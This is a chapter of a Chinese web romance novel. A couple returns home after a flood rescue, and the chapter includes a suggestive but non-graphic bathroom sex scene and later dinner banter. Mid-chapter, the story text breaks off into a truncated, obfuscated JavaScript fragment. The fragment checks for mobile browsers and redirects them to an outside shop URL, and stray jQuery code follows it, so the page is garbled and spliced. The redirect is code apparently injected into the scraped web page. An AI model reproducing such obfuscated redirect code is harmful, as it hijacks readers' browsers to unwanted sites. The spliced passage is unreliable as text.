100. 二十一岁的徐开霁

作品:《穿回年代文大佬的短命妻

    月明山庄。


    容姨早就等着,没等车停稳就迎了上去。看见满身是泥的三爷抱着太太出来,张了张嘴话也没能问出声,眼眶瞬间就红了。


    “容姨,我没受伤。”林月溶有些不好意思,“是徐开霁不肯撒手……”


    这一路上都是这个姿势,一直没撒手。


    容姨红着眼笑了笑,转头去抹眼泪了。


    林月溶见状拍了徐开霁一下,“徐开霁,都到家了,你快放我下来。”


    徐开霁没应声,大步踏上台阶,直接踩上了门廊上光可鉴人的大理石地面,留下了一串泥泞的,也越来越淡的脚印。


    他抱着林月溶穿过客厅,上了楼梯,沿着走廊进入主卧,踩上了主卧小厅里价值不菲的木地板,又踩上了主卧内象牙白的长毛手工地毯,在上面留下了一串黑黢黢的、突兀的脚印。


    容姨早就稳住了自己的情绪,指挥人将徐开霁所过之处之处打扫干净。


    脚印在主卧的浴室前被门斩断,已经脏污的地毯悄无声息地被更换。


    浴室内温暖如春,双层窗帘隔绝了外面水墨画一样的山景,水晶灯的切面折射出细碎的、温暖的光。


    浴缸内热气升腾,玫瑰花瓣飘在上面,一漾一漾。


    浴缸对面是一整面墙的落地镜,映出两人与这个奢华空间有些格格不入的,甚至是略显狼狈的身影。


    林月溶坐在双人盥洗台上,徐开霁双手撑在她身侧,俯身跟她平视。铜制的香薰炉里散出袅袅白烟,极淡的玫瑰香混合着檀香慢慢压过了两人身上的泥土味,若有似无地弥漫。


    徐开霁的眼神深不见底,林月溶招架不住,直接别开了眼。


    看到镜子里的自己,她小声,“又丑又脏……”


    徐开霁跟她额头相抵,迫使她重新看向自己。


    “不丑。”


    “你出去,我要泡澡。”


    累了一天一夜,她只想舒舒服服泡个澡,再想其它。


    “我也想,一起?”


    虽然用的是问句,但他就是在通知。


    林月溶僵住。


    “但是在这之前,得让你先洗一洗二十一岁的徐开霁。”


    洗?洗一洗?


    徐开霁喉结滚动,诱哄着,“不会让你白洗的,我也会帮你。然后让你试试二十一岁的徐开霁。”


    没等林月溶回应,徐开霁一只手扣住了林月溶的后颈,有些凶狠地吻了下去。


    两人身上穿的都是户外装束,布料摩擦的声音粗粝又暧昧,盥洗台上落了些干涸的泥土和枝叶。


    徐开霁吻得凶狠,手上的动作也有些急,只拉开了林月溶外套的拉链,就顺着她的腰侧摸了进去。


    他手上也全是干涸的泥土,冰凉、粗糙。


    “嘶——”林月溶瞬间清醒了,“徐开霁你别乱摸,你没洗手……”


    “我不摸那里……”他拉过林月溶的一只手摸上自己的腰,含糊着,“溶溶,我害怕……你也摸摸我……”


    他害怕。


    他害怕死了。


    他需要她的回应。


    不知道亲吻了多久,徐开霁抽出手,拨开了林月溶身后的水龙头。


    盥洗台上溅了水,打湿了先前落下的泥土,脏污一片。


    摸索着,仔仔细细洗干净手后,徐开霁关了水龙头,湿淋淋的双手重新攀上了林月溶的腰。


    他道:“手洗干净了。”


    迷迷瞪瞪的林月溶瞬间就清醒了。


    这手往下,是要去哪里?


    她挣扎着就要往下跳。


    徐开霁顺势抱住她,挪到了花洒下面。


    温热的水浇在两人身上,衣服被打湿,泥水落了一地。


    湿透的衣服鞋子不知道是什么时候怎么样被扔在盥洗台下面的。


    水一层层冲刷着,有时候会带着白色的,玫瑰味道的泡沫,慢慢冲淡了地面上零零散散落着的泥水和脏污。


    花洒一直开着,蒸腾出的雾气弥漫,模糊了镜子中让人脸红心跳的影影绰绰。


    林月溶已经浑身酸软,没有一点力气了。


    她哭道:“徐开霁,我真的很累了。”


    徐开霁吻干了她的眼泪,“要泡澡?”


    “要!”


    不管进了浴缸他要怎么闹,至少进去之后她能躺着了。


    趴着也行。


    总比这样不上不下,悬在半空中要轻松。


    浴缸内的花瓣混着水溢出,起了层层波浪。


    波浪时大时小,晃动了不知道多久。


    林月溶不知道自己是怎么睡着的,甚至不知道自己是在哪睡着的。


    她再睁开眼睛的时候,感觉自己就像是被拆了又重新组装了起来。


    “醒了?”


    徐开霁的声音透着餍足后的慵懒。


    “严茂和容姨给你煮了滋补身体的汤,要不要起来喝一点。”


    “我不饿。”


    军用压缩饼干是真的很抗饿,回来的路上她还喝了不少热牛奶。


    她现在只想躺着,安安静静躺着,让新组装的身体跟心灵融合一下。


    “起来喝一点吧。”


    徐开霁从身后抱着她,轻轻捏了捏她的肚子。


    “顺便给应如是回个电话?”


    林月溶叹了口气,“严茂干嘛要跟如如说这些?”


    “可能想求关心?”


    “求来了吗?”


    “他像个被霜打了的茄子,应该是没有。”


    “……”林月溶不情不愿地起身,“你出去,我要换衣服了。”


    徐开霁翻身下床,将睡衣递给她,老老实实地走出去,还带上了卧室的门。


    “?”


    林月溶疑惑,今天这么听话?


    脱了睡袍后她直接被气笑了,她身上这些乱七八糟的痕迹……


    原来是心虚,知道自己今天闹得不像话,不敢多说一句浑话,更不敢留在这儿看她换衣服。


    林月溶喝了小半碗汤,窝在小厅的沙发上给应如是回了电话,聊了没一会儿她就又困了。


    听到她打哈欠,应如是道:“知道你好就行了,那汤中估计有安神的药材,你再去睡一会儿。”


    林月溶蔫蔫儿地回应,“好吧……”


    应如是沉默了一会儿,还是问了一句,“溶溶,严茂真的没受伤?”


    “他怎么跟你说的?”


    “他就跟我讲了讲过程,说得自己挺……勇猛的?勇猛,应该就是没受伤吧?”


    “……”


    林月溶心道活该严茂是个被霜打的茄子。


    见她不应声,应如是的心就提了起来。


    “他受伤了?”


    “没有!他能当野战部队的随军医生,没有那么柔弱的。”


    应如是松了一口气。


    “如如,你关心他就直说吗?我听徐开霁说,严茂在你那求关心没求来,跟霜打的茄子没两样。这会儿估计躲在被窝里哭呢。”


    “……”应如是轻咳一声,“你好好休息,就不要绕到浮梁来接我了,咱们燕京见。”


    “有严茂去接你,我还凑什么热闹?”


    “……”


    林月溶贼兮兮地笑着,“燕京见。”


    然后直接挂断了电话。


    徐开霁再返回来,就见自家小姑娘已经缩在沙发上睡着了。


    他转身朝跟进来的五只猫抬了抬下巴。


    喵?


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060965|185204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >又让它们出去?


    刚也不知道谁让它们跟着进来的!


    徐开霁压低了声音,“溶溶睡着了,都出去。”


    “……”


    “¥%%喵……&……喵¥#%@……喵¥……”


    五只猫悄声着骂骂咧咧地又出去了。


    林月溶再睁眼,已经是傍晚了。


    窗外雾气沉沉,看样子又要下雨,也不知道受灾的那些地方怎么样了。


    小厅里的灯亮着,徐开霁正在打电话,见她醒了,朝她招了招手。


    林月溶刚走过去就被他单手箍进怀里。


    怕电话对面听到不该听的动静儿,林月溶没挣扎,乖乖靠在她身上,让他抱着。


    徐开霁一直在说工作上的事情,还安排了人代表天宇集团,去受灾的地方送水和食物。


    挂了电话,她才问:“现在什么情况?外面的天气,受灾的地方会增多吗?”


    “放心。该转移的都已经转移,新江水库也已经开闸泄洪了。”


    “那就好。嘶——”林月溶起身,捂着被被徐开霁胡子扎了的额头,不满道,“你怎么没刮胡子。”


    “这可是二十一岁的徐开霁,不好看吗?”


    “……”


    “原本是想你给我刮,谁知道你那么不禁闹。”


    “……”


    “看来要等睡觉前,你才有力气给我刮了。”


    林月溶龇了龇牙,“我要不要给你洗脸刷牙?”


    “好。再洗一次澡也行。你那会儿把小开开洗得很干净很细致,我很满意。毕竟是你自己每天都要用的东西,果然是不一……”


    林月溶捂住了徐开霁的嘴,脸“腾”得就红透了。


    早上徐开霁直接带着林月溶回来,她自然不知道后来发生了什么。


    严茂替他们断后了,晚饭的时候一五一十地转达。


    “放心吧!孟甜不会受到处罚,还会受到表彰。不只是她,你、罗东和吴越都会受到表彰。”


    “我?”


    “对!孟甜不想自己的职业生涯受到影响,自然是不想背负处罚。但她这人还算是敞亮,没有夸大其词,说出的话都基于事实,比较中肯。也直言,你比她更像是这次自救过程中的主心骨。嫂子,你现在可是红人了,多少电台报社都等着采访你呢。”


    林月溶想想就头大,“我还是等这个热度过去之后再回学校吧。正好可以早点回去准备瓷器展。”


    说起瓷器展,严茂立马就蔫哒哒的了。


    林月溶伸出自己已经结痂的手掌在严茂面前晃了晃,“严茂,我受伤了,所以你得去浮梁接上如如再回燕京。”


    “我?”严茂苦笑,狠狠戳着碗里的白米饭,“她嫌弃我……”


    “不会吧?”林月溶语气夸张,“她那会儿还问我你是不是受伤了,以为你报喜不报忧呢。”


    严茂像是一棵快渴死时被浇了一桶水的野草,瞬间精神抖擞。


    “真的?嫂子,你说的是真的,你没骗我吧?”


    “你要是嫌麻烦,我就跟她……”


    “我怎么会嫌麻烦!”严茂义正言辞,“嫂子,吃饱了我就收拾东西,开车去浮梁。”


    “……”林月溶试着劝他,“大晚上的,倒也不必这么着急……”


    “开车走夜路而已,这都小意思!是吧……哎,霁哥?”


    严茂终于知道哪里不太对了。


    “你怎么不刮胡子?”


    终于问了。


    徐开霁难掩得意,抬头看着他,“溶溶说,晚上她亲自给我刮。”


    林月溶:“……”


    好厚的脸皮。


    严茂:“……”


    好突然的狗粮。